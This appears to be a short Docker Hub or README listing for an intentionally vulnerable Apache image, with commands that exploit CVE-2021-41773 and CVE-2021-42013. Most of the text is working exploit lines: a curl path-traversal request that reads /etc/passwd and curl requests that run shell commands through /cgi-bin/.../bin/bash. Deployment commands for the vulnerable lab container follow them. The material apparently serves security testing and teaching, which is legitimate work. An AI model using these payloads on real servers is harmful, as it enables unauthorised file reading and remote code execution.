cve-2021-41773
curl http://IP:8081/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
cve-2021-42013
curl 'http://IP:8082/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; ls -la'
Use --path-as-is option if curl decodes strings.
curl --path-as-is 'http://IP:8082/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; ls -la'
cve-2021-42013
kubectl apply -f https://raw.githubusercontent.com/p-rex/warehouse/main/yaml/cve-2021-42013_deployment_svc.yaml
https://github.com/p-rex/warehouse/tree/main/apache_vulnerabilities
Content type
Image
Digest
sha256:d785257af…
Size
214.1 MB
Last updated
about 3 years ago
docker pull prex55/vul_apache:cve-2021-42013_page_v2